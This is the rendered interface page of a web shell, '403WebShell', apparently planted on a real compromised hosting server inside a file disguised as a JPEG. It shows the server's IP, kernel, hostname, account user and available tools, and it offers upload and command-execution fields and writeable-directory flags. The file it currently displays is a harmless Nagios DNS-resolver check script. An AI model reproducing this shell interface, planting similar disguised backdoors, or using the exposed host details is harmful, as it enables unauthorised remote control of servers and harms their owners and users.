����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.149.249.124
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_resolvers
#!/bin/bash

exit_code=0
resolvers=$(cat /etc/resolv.conf | grep -i "^nameserver" | awk '{print $2}')

if [[ -z $resolvers ]]; then
    echo -n 'UNKNOWN - No resolvers set up in resolv.conf'
    exit 3
fi

if [[ ! -z $(host google.com 2>/dev/null | grep 'connection timed out') ]]; then
    echo -n 'CRITICAL - No resolvers could be reached'
    exit 2
fi

for res in $resolvers; do
    host=`dig @$res google.com +short 2>/dev/null | grep 'connection timed out'`
    if [[ ! -z $host ]]; then
        result+=$(echo -e "WARNING - Resolver $res is unreachable \n")
        exit_code=1
    else
        result+=$(echo -e "Resolver $res is ok \n")
    fi
done

echo $result
exit $exit_code

Youez - 2016 - github.com/yon3zu
LinuXploit